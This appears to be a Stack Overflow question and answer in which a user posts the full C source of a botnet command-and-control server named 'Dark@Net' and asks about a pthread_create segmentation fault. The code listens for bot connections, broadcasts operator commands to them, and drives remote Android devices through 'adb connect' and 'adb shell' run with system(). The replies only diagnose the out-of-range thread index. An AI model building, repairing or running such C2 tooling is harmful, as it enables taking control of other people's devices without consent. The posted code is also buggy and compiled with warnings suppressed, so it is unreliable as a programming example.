0

I am stumped with this pthread_create segmentation fault. I have already used GDB to find where the fault is — any ideas? And yes it's a botnet command and control server; please no negative comments because of what it is. My intentions are good and for research, also for me to learn about tcp/ip.

Anyway, the pthread_create segmentation fault is at "pthread_create", line 249.

Any ideas why and how this is happening? Maybe even a fix?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>

#define TRUE 1
#define FALSE 0 
#define PORT 8888

#define BUFFER_SIZE 1024

unsigned int device_count = 0;

pthread_mutex_t lock;

static void clear(void) {
    printf("\033[H\033[2J");
}

static void banner(void) {
    clear();
    puts("\e[0;32m ██████╗  █████╗ ██████╗ ██╗  ██╗███╗   ██╗███████╗████████╗");
    puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗  ██║██╔════╝╚══██╔══╝");
    puts("\e[0;32m ██║  ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗     ██║   ");
    puts("\e[0;32m ██║  ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝     ██║   ");
    puts("\e[0;32m ██████╔╝██║  ██║██║  ██║██║  ██╗██║ ╚████║███████╗   ██║   ");
    puts("\e[0;32m ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ");
}

static void help(void) {
    puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
    puts("        ║     help                                           Displays help commands              ║");
    puts("        ║     list                                           Displays the amount of bots         ║");
    puts("        ║     banner                                         Displays the banner                 ║");
    puts("        ║     clear                                          Clears the screen                   ║");
    puts("        ║     exit                                           Exits the botnet                    ║");
    puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}

static void list(void) {
    printf("\nBots -> %d\n", device_count);
}

void *handle_conn(void *new_socket) {
    terminal(*(int *)new_socket);
    pthread_exit(NULL);
    return NULL;
}

struct function {
    const char *shell;
    int (*function)(void);
};

struct function botnet_commands[] = {
    {"?", help},
    {"help", help},
    {"list", list},
    {"banner", banner},
    {"clear", clear},
};

enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};

int handler(char shell[BUFFER_SIZE]) {
    for (int i = 0; i < commands_amount; i++) {
        if (strstr(shell, botnet_commands[i].shell)) {
            return (*botnet_commands[i].function)();
        }
    }
}

void terminal(int master_socket){
    int k;
    int w_buf;
    char shell[BUFFER_SIZE];

    while(1){
        pthread_mutex_lock(&lock);

        printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
        printf("\n\e[0;31m╚═> ");

        w_buf = 0;
        bzero(shell, BUFFER_SIZE);

        while((shell[w_buf++] = getchar()) != '\n');

        if(strncmp("send_command", shell, 12) == 0){
            k = 0;

            char data_send[1024];
            bzero(data_send, 1024);

            printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");

            while ((data_send[k++] = getchar()) != '\n');

            for (int i = 0; i <= device_count; i++) {
                pthread_mutex_unlock(&lock);
                if (write(master_socket, data_send, sizeof(data_send)) == -1) {
                    device_count--;
                }
                pthread_mutex_lock(&lock);
            }
            printf("\n[+] Data Successfully sent!\n");
        }else if (strncmp("connect", shell, 7) == 0) {
            char adb_con_before[15] = "adb connect ";
            char adb_con_after[15] = ":5555";
            
            char *adb_connect_ip;
            adb_connect_ip = (char *)malloc(32 * sizeof(char));
            
            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
            printf("\n\e[0;31m╚═> ");
            scanf("%s", adb_connect_ip);
            
            strcat(adb_con_before, adb_connect_ip);
            strcat(adb_con_before, adb_con_after);
            
            system(adb_con_before);
            free(adb_connect_ip);
        } else if (strncmp("cmd", shell, 3) == 0) {
            char adb_shell_before[15] = "adb shell ";
            
            char *adb_cmd;
            adb_cmd = (char *)malloc(32 * sizeof(char));

            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");
            
            scanf("%s", adb_cmd);
            strcat(adb_shell_before, adb_cmd);

            system(adb_shell_before);
            free(adb_cmd);
        } else if (strncmp("shell", shell, 5) == 0) {
            printf("\nRemember, to exit, just use the 'exit' command.");
            system("adb shell");
        } else if (strncmp("restart", shell, 7) == 0) {
            system("adb kill-server");
            system("adb start-server");
        } else if (strncmp("exit", shell, 4) == 0) {
            break;
        } else {
            handler(shell);
        }
        pthread_mutex_unlock(&lock);
        sleep(1);
    }
    pthread_mutex_unlock(&lock);
}

int main(void){
    banner();
    int opt = TRUE;
    int max_sd;
    int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
    struct sockaddr_in address;

    char buffer[1024];

    fd_set readfds;

    for (i = 0; i < max_clients; i++)
    {
        client_socket[i] = 0;
    }

    master_socket = socket(AF_INET, SOCK_STREAM, 0);
    if(master_socket == -1){
        printf("[-] Master socket setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket setup successful...\n");
    }

    if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
        printf("[-] Master socket opt setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket opt setup successful...\n");
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons( PORT );

    if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
        printf("[-] Bind setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Bind setup successful...\n");
    }

    if(listen(master_socket, 3) < 0){
        printf("[-] Listen setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Listening...\n");
        addrlen = sizeof(address);
    }

    pthread_t thread[150];
    pthread_mutex_init(&lock, NULL);

    while(1)
    {
        FD_ZERO(&readfds);
    
        FD_SET(master_socket, &readfds);
        max_sd = master_socket;
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(sd > 0)
                FD_SET(sd, &readfds);
                
            if(sd > max_sd)
                max_sd = sd;
        }
    
        activity = select(max_sd + 1, &readfds, NULL, NULL, NULL);
    
        if((activity < 0) && (errno!=EINTR))
        {
            printf("[-] Select setup unsuccessful...\n");
        }else{
            printf("[+] Select setup successful...\n");
        }

        if(FD_ISSET(master_socket, &readfds)){
            new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
            if(new_socket < 0){
                printf("[-] Client connection unsuccessful...\n");
                exit(0);
            }else{
                printf("[+] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
                device_count++;
                pthread_create(&thread[i++], NULL, handle_conn, &new_socket);
            }

            for(i = 0; i < max_clients; i++){
                if(client_socket[i] == 0){
                    client_socket[i] = new_socket;
                    printf("[+] Client added to list, ID: %d\n" , i);
                    break;
                }
            }
        }
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(FD_ISSET(sd, &readfds)){
                if((valread = read(sd, buffer, 1024)) == 0){
                    getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);

                    printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));

                    device_count--;

                    close(sd);
                    client_socket[i] = 0;
                }else{
                    buffer[valread] = '\0';
                    send(sd, buffer, strlen(buffer), 0);
                }
            }
        }
    }
    return 0;
}

I have already tried GDB it told me where the fault is still don't know how to resolve this.

Jonathan Leffler
  • 730,956
  • 141
  • 904
  • 1,278
Zero
  • 3
  • 3
  • 2
    You don't seem to be calling pthread_create() in a for() loop. So what is the index 'i' at the point where you call it? Looks like it will be out of bounds, thanks to the for() loop above it. You also increment 'i', then immediately use it in a new for() loop starting back at zero. Would recommend using loop-local indices, e.g. for (int i = 0; ...) rather than just re-using the same variable all over the place (and for different things). – pmacfarlane Dec 15 '22 at 18:20
  • 1
    This doesn't even compile cleanly. Multiple warnings/errors on type. Some command functions are `void` return and some `int` return. Some of the `int` return functions don't have a `return` statement. So, how are you even getting to the point of running the program to show the segfault? – Craig Estey Dec 15 '22 at 18:21
  • @ Craig Estey use gcc -o file file.c -w -w flag is to ignore warnings as the code works with out the threads but i need the threads to work the way i want it – Zero Dec 15 '22 at 18:24
  • 2
    Does all of this code have something to do with the problem? All of it? even the ASCII art? Next time (or now) please make some effort to remove the irrelevant parts of the code. – user253751 Dec 15 '22 at 18:25
  • @user253751 GDB thinks its the pthread_create thats all i know – Zero Dec 15 '22 at 18:26
  • 2
    @Zero suppressing compiler warnings is a terrible idea. The compiler isn't out to get you, it is trying to help you. Heed the warnings. Heck, enable _more_ warnings: -Wall -Wextra – pmacfarlane Dec 15 '22 at 18:26
  • @Zero are there any parts of this program which you think have nothing to do with the crash, because you deleted them and it still crashed? of course, make a backup copy of your program before deleting parts of it. – user253751 Dec 15 '22 at 18:26
  • @user253751, Will make it smaller next time. – Zero Dec 15 '22 at 18:29
  • actually I recommend you do it now, because you might figure out the problem while you are making it smaller! I'd say that happens about half the time. – user253751 Dec 15 '22 at 18:31
  • @pmacfarlane, I only used -w flag for a bit of the code because it thinks its gonna causes issues when it does not, this bit... ``` struct function botnet_commands[] = { {"?", help}, {"help", help}, {"list", list}, {"banner", banner}, {"clear", clear}, }; ``` – Zero Dec 15 '22 at 18:31
  • 1
    Have to concur with the comment by pmacfarlane. As far as I can see the value of `i` when you call `pthread_create(&thread[i++], ...` is `max_clients` (i.e. 10000) -- that's way out-of-bounds as `threads` is declared as `pthread_t thread[150];`. You should always scope variables (`i` in this case) as tightly as possible/practical to avoid losing track of them. – G.M. Dec 15 '22 at 18:33
  • @user253751, I can only really remove the ascii art and command selecting function the rest kinda needs to stay as it needs to use the thread i am creating. – Zero Dec 15 '22 at 18:34
  • @G.M. Thank you, You got it right, I lowered the max_clients to 20, and now it works. – Zero Dec 15 '22 at 18:38
  • 1
    No! That's just a hack to avoid the symptom. The code is still fundamentally wrong for the reasons stated. – G.M. Dec 15 '22 at 18:39
  • @G.M. Well i'm still learning and have not really used threads before, but when I get more advanced I will look at fixing the issue more correctly, I'll add it to my list of things to revise! – Zero Dec 15 '22 at 18:45
  • Don't suppress compiler warnings. If the compiler deigns to warn you about something, there is a bug in your code. Fix it before trying to run the code. No, it isn't sensible to run the code when it compiles with warnings. – Jonathan Leffler Dec 15 '22 at 18:52
  • @JonathanLeffler, I will make another question on the warnings I was avoiding see if you can help or anyone else. – Zero Dec 15 '22 at 18:57
  • @G.M. really? so you have to process all these terminal commands like restart, and if you don't process them then the problem doesn't happen? – user253751 Dec 16 '22 at 10:08
  • @user253751 Sorry, but I really don't understand your last comment. – G.M. Dec 16 '22 at 12:00
  • wrong username. @Zero really? so you have to process all these terminal commands like restart, and if you don't process them then the problem doesn't happen? – user253751 Dec 16 '22 at 12:41

1 Answers1

2

The problem (in the question, there may be others) is that the variable 'i' is being used in several places, apparently for different things. It is used as a general index in three for() loops, iterating over max_clients. But it is also being used as some kind of thread counter.

By the time pthread_create() is called, 'i' is set to max_clients, which is way out of bounds for the thread[] array.

Adding a new variable to be used as the thread counter would fix the issue.

int thread_count = 0;
...
pthread_create(&thread[thread_count++], ...);

I would recommend removing the function-scoped variable 'i' entirely, and using variables scoped to their loops, e.g.

for (int i = 0; ...)

This would have made the problem more obvious, since you'd have had to figure out which variable to use to index the thread[] array.

pmacfarlane
  • 3,057
  • 1
  • 7
  • 24
  • I would love to give you an up vote, but i'm unable to atm as my reputation is lower then 15, new account you see. – Zero Dec 15 '22 at 19:09